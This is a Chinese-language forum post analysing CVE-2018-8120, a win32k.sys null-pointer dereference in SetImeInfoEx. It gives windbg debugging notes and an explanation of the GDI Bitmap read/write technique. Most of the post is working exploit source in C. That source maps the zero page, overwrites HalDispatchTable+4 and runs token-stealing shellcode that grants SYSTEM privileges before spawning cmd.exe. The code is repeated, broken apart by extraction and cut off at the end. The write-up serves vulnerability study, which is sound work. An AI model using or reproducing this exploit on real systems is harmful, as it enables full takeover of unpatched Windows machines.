参考链接:
https://www.anquanke.com/post/id/241057
https://www.freebuf.com/vuls/174183.html
https://blog.csdn.net/qq_38025365/article/details/106343443
官方链接:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2018-8120
可在其中找受影响的版本复现,在受影响版本的系统中找到win32k.sys导入IDA
配合api文档查函数
https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-getprocesswindowstation
windbg 双机调试
.reload/f win32k.sys,可以找到win32k.pdb文件,导入IDA后便能查看函数名
漏洞函数位于win32k.sys的SetImeInfoEx()函数,该函数在使用一个内核对象的字段之前并没有进行是否为空的判断,当该值为空时,函数直接读取零地址内存。如果在当前进程环境中没有映射零页面,该函数将触发页面错误异常,导致系统蓝屏发生。
查看下tagWINDOWSTATION
dt win32k!tagWINDOWSTATION
spklList对象的结构为
漏洞触发验证
查看SSDT表
dd KeServiceDescriptorTable
dds Address L11C 显示地址里面值指向的地址. 以4个字节显示
dd nt!KeServiceDescriptorTableShadow
dds bf999b80 L0000029b
函数的索引号:(bf999bb4 - bf999b80)/4 = 0x34/0x4 = 0xD = 13
直接使用PChunter
windbg捕获到的正是SetImeInfoEx()中针对pWindowStation->spklList字段进行内存访问的代码。
已知漏洞产生的原因是零地址内存访问违例,如果在漏洞函数运行的进程中,零地址处的内存分页完成映射,则函数将继续执行。下面继续看看函数如果继续运行,会发生什么情况。
漏洞产生函数后续执行过程中会执行内存拷贝,且拷贝源来自于参数2,属于用户可控内容。如果拷贝目标v4可控,则可以实现任意内存地址写入(且漏洞函数运行在内核权限,内核空间与用户空间内存均有权限读写)。至此,如果可以实现任意内存地址写入,则可以通过覆盖系统服务函数指针的方式,实现任意代码执行。
HEVD中的空指针解引用用例,使用NtAllocateVirtualMemory映射零地址分页的内存。
https://blog.csdn.net/qq_38025365/article/details/106176472?spm=1001.2014.3001.5502
HEVD中的任意地址写用例,覆盖ntoskrnl!HalDispatchTable表中第二项的hal!HaliQuerySystemInformation()函数指针,NtQueryIntervalProfile()函数在运行过程中会从HalDispatchTable表中调用该函数。使得用户程序在调用系统函数NtQueryIntervalProfile()的时候,执行由应用程序设定的ShellCode。
https://bbs.pediy.com/thread-225176.htm
上诉方法利用失败,函数指针目标地址,无法通过漏洞函数的第二个判断
用户态程序使用CreateBitmap函数创建得到的Bitmap对象的成员结构中,有存在于内核空间中的成员指针变量pvScan0,而该指针变量可以在用户态下,通过调用GetBitmaps以及SetBitmaps方法,对pvScan0指向的内存地址进行读取和写入。
Bitmap GDI技术参考:
https://www.anquanke.com/post/id/247764#h2-0
https://xz.aliyun.com/t/8667
CreateBitMap创建的结构SURFACE OBJECT
当程序调用了CreateBitmap方法后,程序的进程环境控制块(PEB)中的GdiSharedHandleTable表便增加了一个索引,该索引对象的结构为:
pKernelAddress泄露了Bitmap对象的内核地址,再看pKernelAddress指向的数据结构:
在32位系统下,通过GDICELL->pKernelAddress + 0x30(在64位系统下是0x50,具体计算成员变量指针所占字节),即可得到指向pvScan0指针的偏移量。
(1) 创建2个bitmaps(Manager/Worker)
(2) 使用CreateBitMap返回的handle获取pvScan0的地址
(3) 使用任意地址写漏洞将Worker的pvScan0地址写入Manager的PvScan0(作为Value)
(4) 对Manager使用SetBitmapBits ,也就是改写Woker的pvScan0的Value为读/写的任意地址。
(5) 对Worker使用GetBitmapBits/SetBitmapBits,以对第四步设置的地址任意读写!
不同版本的exp还没完全看懂。。。
其中alphalab中win32版本的exp提出来,有些地方对不上,感觉很奇怪
DWORD gSyscalIndex
=
0x1226
;
_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) {
_asm {
mov esi, argv1;
mov eax, gSyscalIndex;
/
/
系统调用服务号
mov edx,
0x7FFE0300
;
/
/
ntdll.KiFastSystemCall快速系统调用
call DWORD ptr[edx];
ret
4
;
}
}
int
main() {
HWINSTA hSta
=
CreateWindowStation(
0
,
0
, READ_CONTROL,
0
);
SetProcessWindowStation(hSta);
char ime[
0x800
];
NtUserSetImeInfoEx((PVOID)&ime);
return
0
;
}
DWORD gSyscalIndex
=
0x1226
;
_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) {
_asm {
mov esi, argv1;
mov eax, gSyscalIndex;
/
/
系统调用服务号
mov edx,
0x7FFE0300
;
/
/
ntdll.KiFastSystemCall快速系统调用
call DWORD ptr[edx];
ret
4
;
}
}
int
main() {
HWINSTA hSta
=
CreateWindowStation(
0
,
0
, READ_CONTROL,
0
);
SetProcessWindowStation(hSta);
char ime[
0x800
];
NtUserSetImeInfoEx((PVOID)&ime);
return
0
;
}
DWORD gSyscalIndex
=
0x1226
;
_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) {
_asm {
mov esi, argv1;
mov eax, gSyscalIndex;
/
/
系统调用服务号
mov edx,
0x7FFE0300
;
/
/
ntdll.KiFastSystemCall快速系统调用
call DWORD ptr[edx];
ret
4
;
}
}
typedef NTSTATUS
(WINAPI
*
My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID
*
BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory
=
NULL;
int
main() {
HWINSTA hSta
=
CreateWindowStation(
0
,
0
, READ_CONTROL,
0
);
SetProcessWindowStation(hSta);
char ime[
0x800
];
*
(FARPROC
*
)&NtAllocateVirtualMemory
=
GetProcAddress(
GetModuleHandleW(L
"ntdll"
),
"NtAllocateVirtualMemory"
);
if
(NtAllocateVirtualMemory
=
=
NULL)
{
printf(
"[+]Failed to get function NtAllocateVirtualMemory!!!\n"
);
system(
"pause"
);
return
;
}
PVOID Zero_addr
=
(PVOID)
0x100
;
SIZE_T RegionSize
=
0x1000
;
printf(
"[+]Started to alloc zero page...\n"
);
if
(!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0
,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr !
=
NULL)
{
printf(
"[+]Failed to alloc zero page!\n"
);
system(
"pause"
);
return
;
}
printf(
"[+]Success to alloc zero page...\n"
);
printf(
"申请到的地址是 0x%p\n"
, Zero_addr);
PBYTE pt
=
(PBYTE)Zero_addr;
*
(PDWORD)(pt
+
0x14
)
=
(DWORD)
0x12345678
;
*
(PDWORD)(ime)
=
(DWORD)
0x12345678
;
*
(PDWORD)(pt
+
0x2C
)
=
(DWORD)
0x83d2b3fc
;
/
/
HalDispatchTable
+
0x4
NtUserSetImeInfoEx((PVOID)&ime);
return
0
;
}
DWORD gSyscalIndex
=
0x1226
;
_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) {
_asm {
mov esi, argv1;
mov eax, gSyscalIndex;
/
/
系统调用服务号
mov edx,
0x7FFE0300
;
/
/
ntdll.KiFastSystemCall快速系统调用
call DWORD ptr[edx];
ret
4
;
}
}
typedef NTSTATUS
(WINAPI
*
My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID
*
BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory
=
NULL;
int
main() {
HWINSTA hSta
=
CreateWindowStation(
0
,
0
, READ_CONTROL,
0
);
SetProcessWindowStation(hSta);
char ime[
0x800
];
*
(FARPROC
*
)&NtAllocateVirtualMemory
=
GetProcAddress(
GetModuleHandleW(L
"ntdll"
),
"NtAllocateVirtualMemory"
);
if
(NtAllocateVirtualMemory
=
=
NULL)
{
printf(
"[+]Failed to get function NtAllocateVirtualMemory!!!\n"
);
system(
"pause"
);
return
;
}
PVOID Zero_addr
=
(PVOID)
0x100
;
SIZE_T RegionSize
=
0x1000
;
printf(
"[+]Started to alloc zero page...\n"
);
if
(!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0
,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr !
=
NULL)
{
printf(
"[+]Failed to alloc zero page!\n"
);
system(
"pause"
);
return
;
}
printf(
"[+]Success to alloc zero page...\n"
);
printf(
"申请到的地址是 0x%p\n"
, Zero_addr);
PBYTE pt
=
(PBYTE)Zero_addr;
*
(PDWORD)(pt
+
0x14
)
=
(DWORD)
0x12345678
;
*
(PDWORD)(ime)
=
(DWORD)
0x12345678
;
*
(PDWORD)(pt
+
0x2C
)
=
(DWORD)
0x83d2b3fc
;
/
/
HalDispatchTable
+
0x4
NtUserSetImeInfoEx((PVOID)&ime);
return
0
;
}
/
/
创建Bitmap
HBITMAP CreateBitmap(
int
nWidth,
int
nHeight,
UINT nPlanes,
UINT nBitCount,
const VOID
*
lpBits
);
/
/
将bitmap bits拷贝到指定缓冲区
LONG
GetBitmapBits(
HBITMAP hbit,
LONG
cb,
LPVOID lpvBits
);
/
/
设置bitmap的bits
LONG
SetBitmapBits(
HBITMAP hbm,
DWORD cb,
const VOID
*
pvBits
);
/
/
创建Bitmap
HBITMAP CreateBitmap(
int
nWidth,
int
nHeight,
UINT nPlanes,
UINT nBitCount,
const VOID
*
lpBits
);
/
/
将bitmap bits拷贝到指定缓冲区
LONG
GetBitmapBits(
HBITMAP hbit,
LONG
cb,
LPVOID lpvBits
);
/
/
设置bitmap的bits
LONG
SetBitmapBits(
HBITMAP hbm,
DWORD cb,
const VOID
*
pvBits
);
typedef struct _GDICELL
{
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL;
typedef struct _GDICELL
{
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL;
typedefstruct {
BASEOBJECT BaseObject;
/
/
0x00
SURFOBJ SurOBJ;
/
/
0x18
}
typedef struct _BASEOBJECT {
HANDLE hHmgr;
0x04
PVOID pEntry;
0x08
LONG
cExclusiveLock;
0x0d
PW32THREAD Tid;
0x10
} BASEOBJECT,
*
POBJ;
typedef struct _SURFOBJ {
DHSURF dhsurf;
0x04
HSURF hsurf;
0x08
DHPDEV dhpdev;
0x09
HDEV hdev;
0x0a
SIZEL sizlBitmap;
0x0e
ULONG cjBits;
0x12
PVOID pvBits;
0x16
PVOID pvScan0;
0x20
LONG
lDelta;
0x24
ULONG iUniq;
0x28
ULONG iBitmapFormat;
0x2c
USHORT iType;
0x2e
USHORT fjBitmap;
0x30
} SURFOBJ
typedefstruct {
BASEOBJECT BaseObject;
/
/
0x00
SURFOBJ SurOBJ;
/
/
0x18
}
typedef struct _BASEOBJECT {
HANDLE hHmgr;
0x04
PVOID pEntry;
0x08
LONG
cExclusiveLock;
0x0d
PW32THREAD Tid;
0x10
} BASEOBJECT,
*
POBJ;
typedef struct _SURFOBJ {
DHSURF dhsurf;
0x04
HSURF hsurf;
0x08
DHPDEV dhpdev;
0x09
HDEV hdev;
0x0a
SIZEL sizlBitmap;
0x0e
ULONG cjBits;
0x12
PVOID pvBits;
0x16
PVOID pvScan0;
0x20
LONG
lDelta;
0x24
ULONG iUniq;
0x28
ULONG iBitmapFormat;
0x2c
USHORT iType;
0x2e
USHORT fjBitmap;
0x30
} SURFOBJ
gdiCell_Addr
=
PEB.GdiSharedHandleObejct
+
(hMgr &
0xffff
)
*
sizeof(GDICELL)
pvScan0_Offset
=
pKernelAddress
+
0x10
+
0x1c
pvScan0
=
*
( PEB.GdiSharedHandleObejct
+
(hMgr &
0xffff
)
*
sizeof(GDICELL))
+
0x2C
;
gdiCell_Addr
=
PEB.GdiSharedHandleObejct
+
(hMgr &
0xffff
)
*
sizeof(GDICELL)
pvScan0_Offset
=
pKernelAddress
+
0x10
+
0x1c
pvScan0
=
*
( PEB.GdiSharedHandleObejct
+
(hMgr &
0xffff
)
*
sizeof(GDICELL))
+
0x2C
;
typedef NTSTATUS(WINAPI
*
NtQueryIntervalProfile_t)(
IN ULONG ProfileSource,
OUT PULONG Interval
);
typedef NTSTATUS
(WINAPI
*
My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID
*
BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory
=
NULL;
/
/
申请
0
页内存
void getZeroMemory() {
PVOID Zero_addr
=
(PVOID)
1
;
SIZE_T RegionSize
=
0x1000
;
*
(FARPROC
*
)&NtAllocateVirtualMemory
=
GetProcAddress(
GetModuleHandleW(L
"ntdll"
),
"NtAllocateVirtualMemory"
);
if
(NtAllocateVirtualMemory
=
=
NULL)
{
printf(
"[+]Failed to get function NtAllocateVirtualMemory!!!\n"
);
system(
"pause"
);
}
if
(!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0
,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr !
=
NULL)
{
printf(
"[+]Failed to alloc zero page!\n"
);
system(
"pause"
);
}
printf(
"[+]Success to alloc zero page...\n"
);
}
__declspec(naked) VOID ShellCode()
{
_asm
{
pushad
mov eax, fs: [
124h
]
/
/
找到当前线程的_KTHREAD结构
mov eax, [eax
+
0x50
]
/
/
找到_EPROCESS结构
mov ecx, eax
mov edx,
4
/
/
edx
=
system PID(
4
)
/
/
循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax
+
0xb8
]
/
/
找到进程活动链表
sub eax,
0xb8
/
/
链表遍历
cmp
[eax
+
0xb4
], edx
/
/
根据PID判断是否为SYSTEM
jnz find_sys_pid
/
/
替换Token
mov edx, [eax
+
0xf8
]
mov[ecx
+
0xf8
], edx
popad
xor eax, eax
ret
}
}
static VOID CreateCmd()
{
STARTUPINFO si
=
{ sizeof(si) };
PROCESS_INFORMATION pi
=
{
0
};
si.dwFlags
=
STARTF_USESHOWWINDOW;
si.wShowWindow
=
SW_SHOW;
WCHAR wzFilePath[MAX_PATH]
=
{ L
"cmd.exe"
};
BOOL
bReturn
=
CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if
(bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
/
/
获取ntkrnlpa.exe 在 kernel mode 中的基地址
LPVOID NtkrnlpaBase()
{
LPVOID lpImageBase[
1024
];
DWORD lpcbNeeded;
CHAR lpfileName[
1024
];
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
for
(
int
i
=
0
; i <
1024
; i
+
+
)
{
GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName,
48
);
if
(!strcmp(lpfileName,
"ntkrnlpa.exe"
))
{
printf(
"[+]success to get %s\n"
, lpfileName);
return
lpImageBase[i];
}
}
return
NULL;
}
DWORD32 GetHalOffset_4()
{
/
/
获取ntkrnlpa.exe运行时基址
PVOID pNtkrnlpaBase
=
NtkrnlpaBase();
printf(
"[+]ntkrnlpa base address is 0x%p\n"
, pNtkrnlpaBase);
/
/
获取用户态加载ntkrnlpa.exe的地址
HMODULE hUserSpaceBase
=
LoadLibrary(
"ntkrnlpa.exe"
);
/
/
获取用户态中HalDispatchTable的地址
PVOID pUserSpaceAddress
=
GetProcAddress(hUserSpaceBase,
"HalDispatchTable"
);
/
/
由ntkrnlpa.exe运行时基址加上HalDispatchTable偏移量,得到HalDispatchTable在内核空间中的地址,加上
0x4
偏移量
DWORD32 hal_4
=
(DWORD32)pNtkrnlpaBase
+
((DWORD32)pUserSpaceAddress
-
(DWORD32)hUserSpaceBase)
+
0x4
;
printf(
"[+]HalDispatchTable+0x4 is 0x%p\n"
, hal_4);
return
(DWORD32)hal_4;
}
/
/
NtUserSetImeInfoEx()系统服务函数未导出,需要自己在用户进程中调用该系统服务函数,以执行漏洞函数SetImeInfoEx()。
/
/
其中SyscallIndex的计算,根据系统ShadowSSDT表导出序号计算。
DWORD gSyscall
=
0x1226
;
__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
_asm
{
mov esi, tmp;
mov eax, gSyscall;
/
/
系统调用符号
mov edx,
0x7FFE0300
;
/
/
ntdll.KiFastSystemCall快速系统调用
call dword ptr[edx];
ret
4
;
}
}
DWORD getpeb()
{
/
/
在NT内核中,FS段为TEB,TEB偏移
0x30
处为PEB
DWORD p
=
(DWORD)__readfsdword(
0x18
);
p
=
*
(DWORD
*
)((char
*
)p
+
0x30
);
return
p;
}
DWORD gTableOffset
=
0x094
;
DWORD getgdi()
{
return
*
(DWORD
*
)(getpeb()
+
gTableOffset);
}
DWORD gtable;
typedef struct
{
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL;
PVOID getpvscan0(HANDLE h)
{
if
(!gtable)
gtable
=
getgdi();
DWORD p
=
(gtable
+
LOWORD(h)
*
sizeof(GDICELL)) &
0x00000000ffffffff
;
GDICELL
*
c
=
(GDICELL
*
)p;
return
(char
*
)c
-
>pKernelAddress
+
0x30
;
}
int
main()
{
/
/
1.
创建bitmap对象
unsigned
int
bbuf[
0x60
]
=
{
0x90
};
HANDLE gManger
=
CreateBitmap(
0x60
,
1
,
1
,
32
, bbuf);
HANDLE gWorker
=
CreateBitmap(
0x60
,
1
,
1
,
32
, bbuf);
/
/
2.
使用句柄查找GDICELL,计算pvScan0地址
PVOID mpv
=
getpvscan0(gManger);
PVOID wpv
=
getpvscan0(gWorker);
printf(
"[+] Get manager at 0x%p,worker at 0x%p\n"
, mpv, wpv);
/
/
使用漏洞将Worker的pvScan0偏移地址写入Manager的pvScan0值
/
/
新建一个新的窗口,新建的WindowStation对象其偏移
0x14
位置的spklList字段的值默认是零
HWINSTA hSta
=
CreateWindowStation(
0
,
/
/
LPCSTR lpwinsta
0
,
/
/
DWORD dwFlags
READ_CONTROL,
/
/
ACCESS_MASK dwDesiredAccess
0
/
/
LPSECURITY_ATTRIBUTES lpsa
);
/
/
和窗口当前进程关联起来
SetProcessWindowStation(hSta);
char buf[
0x200
];
RtlSecureZeroMemory(&buf,
0x200
);
PVOID
*
p
=
(PVOID
*
)&buf;
p[
0
]
=
(PVOID)wpv;
DWORD
*
pp
=
(DWORD
*
)&p[
1
];
pp[
0
]
=
0x180
;
pp[
1
]
=
0x1d95
;
pp[
2
]
=
6
;
pp[
3
]
=
0x10000
;
pp[
5
]
=
0x4800200
;
/
/
获取
0
页内存
getZeroMemory();
*
(DWORD
*
)(
0x2C
)
=
(DWORD)(mpv);
*
(DWORD
*
)(
0x14
)
=
(DWORD)(wpv);
/
/
WindowStation
-
>spklList字段为
0
,函数继续执行将触发漏洞
NtUserSetImeInfoEx((PVOID)&buf);
PVOID pOrg
=
0
;
DWORD haladdr
=
GetHalOffset_4();
PVOID oaddr
=
(PVOID)haladdr;
PVOID sc
=
&ShellCode;
SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr);
/
/
利用manager设置worker的可修改地址为hal函数
printf(
"[+]要覆盖的目标地址 0x%x\n"
, oaddr);
GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
/
/
获取可修改的地址
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);
/
/
设置地址为shellcode
printf(
"[+]覆盖完毕,准备执行Shellcode"
);
/
/
触发shellcode
NtQueryIntervalProfile_t NtQueryIntervalProfile
=
(NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA(
"ntdll.dll"
),
"NtQueryIntervalProfile"
);
printf(
"[+]NtQueryIntervalProfile address is 0x%x\n"
, NtQueryIntervalProfile);
DWORD interVal
=
0
;
NtQueryIntervalProfile(
0x1337
, &interVal);
/
/
收尾
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
CreateCmd();
return
0
;
}
typedef NTSTATUS(WINAPI
*
NtQueryIntervalProfile_t)(
IN ULONG ProfileSource,
OUT PULONG Interval
);
typedef NTSTATUS
(WINAPI
*
My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID
*
BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory
=
NULL;
/
/
申请
0
页内存
void getZeroMemory() {
PVOID Zero_addr
=
(PVOID)
1
;
SIZE_T RegionSize
=
0x1000
;
*
(FARPROC
*
)&NtAllocateVirtualMemory
=
GetProcAddress(
GetModuleHandleW(L
"ntdll"
),
"NtAllocateVirtualMemory"
);
if
(NtAllocateVirtualMemory
=
=
NULL)
{
printf(
"[+]Failed to get function NtAllocateVirtualMemory!!!\n"
);
system(
"pause"
);
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2022-12-29 14:30
被hml189编辑
,原因: